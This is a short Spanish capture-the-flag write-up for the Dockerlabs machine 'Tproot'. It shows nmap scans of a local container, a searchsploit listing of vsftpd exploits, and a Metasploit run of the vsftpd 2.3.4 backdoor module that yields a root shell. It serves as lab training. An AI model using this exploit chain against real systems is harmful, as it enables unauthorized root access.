



Tproot

Dificultad	Muy Facil
Tecnicas	<u>Searchsploit - msfconsole</u>
Pagina	Docker labs
Estado	Listo

Lo primero que hacemos es ver q puertos están abiertos

```
nmap -p- --open --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG allport
```

```
File: allPorts
# Nmap 7.95 scan initiated Mon Oct 13 23:16:37 2025 as: /usr/lib/nmap/nmap -p- -open --min-rate 5000 -sS -n -vvvv -Pn -oG allPorts 172.17.0.2
# Ports scanned: TCP(65535;1-65535) UDP(0;) SCTP(0;) PROTOCOLS(0;)
Host: 172.17.0.2 () Status: Up
Host: 172.17.0.2 () Ports: 21/open/tcp/ftp///, 80/open/tcp/http/// Ignored State: closed (65533)
# Nmap done at Mon Oct 13 23:16:38 2025 -- 1 IP address (1 host up) scanned in 1.18 seconds
```

Luego tiramos unos script basicos y buscamos las versiones de los puertos abiertos

```
nmap -p21,80 -sCV -oN targeted 172.17.0.2
```

```
File: targeted
# Nmap 7.95 scan initiated Mon Oct 13 23:19:26 2025 as: /usr/lib/nmap/nmap -p21,80 -sCV -oN targeted 172.17.0.2
Nmap scan report for 172.17.0.2
Host is up (0.000033s latency).

PORT      STATE SERVICE VERSION
21/tcp    open  ftp      vsftpd 2.3.4
|_ftp-anon: got code 500 "OOPS: cannot change directory:/var/ftp".
80/tcp    open  http     Apache httpd 2.4.58 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.58 (Ubuntu)
MAC Address: 02:42:AC:11:00:02 (Unknown)
Service Info: OS: Unix

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Oct 13 23:19:33 2025 -- 1 IP address (1 host up) scanned in 6.74 seconds
```

Vamos a usar msfconsole y searchsploit

```
search vsftpd
```

use 1
show options
set RHOSTS \$ipvictima
run

```
> searchsploit vsftpd
-----
Exploit Title | Path
-----
vsftpd 2.0.5 - 'CWD' (Authenticated) Remote Memory Consumption | linux/dos/5814.pl
vsftpd 2.0.5 - 'deny_file' Option Remote Denial of Service (1) | windows/dos/31818.sh
vsftpd 2.0.5 - 'deny_file' Option Remote Denial of Service (2) | windows/dos/31819.pl
vsftpd 2.3.2 - Denial of Service | linux/dos/16270.c
vsftpd 2.3.4 - Backdoor Command Execution | unix/remote/49757.py
vsftpd 2.3.4 - Backdoor Command Execution (Metasploit) | unix/remote/17491.rb
vsftpd 3.0.3 - Remote Denial of Service | multiple/remote/49719.py
-----
```

```
msf > search vsftpd
Matching Modules
=====
#  Name                                     Disclosure Date  Rank    Check  Description
-  -
0  auxiliary/dos/ftp/██████████_d_232       2011-02-03      normal Yes    ██████████ 2.3.2 Denial of Service
1  exploit/unix/ftp/██████████_d_234_backdoor 2011-07-03      excellent No     ██████████ v2.3.4 Backdoor Command Execution
```

```
msf exploit(unix/ftp/vsftpd_234_backdoor) > set RHOST 172.17.0.2
RHOST => 172.17.0.2
msf exploit(unix/ftp/vsftpd_234_backdoor) > run
[*] 172.17.0.2:21 - Banner: 220 (vsFTPD 2.3.4)
[*] 172.17.0.2:21 - USER: 331 Please specify the password.
[+] 172.17.0.2:21 - Backdoor service has been spawned, handling...
[+] 172.17.0.2:21 - UID: uid=0(root) gid=0(root) groups=0(root)
whoami
[*] Found shell.
[*] Command shell session 1 opened (172.17.0.1:34721 -> 172.17.0.2:6200) at 2025-10-13 20:08:01 +0000

root
```

Somos root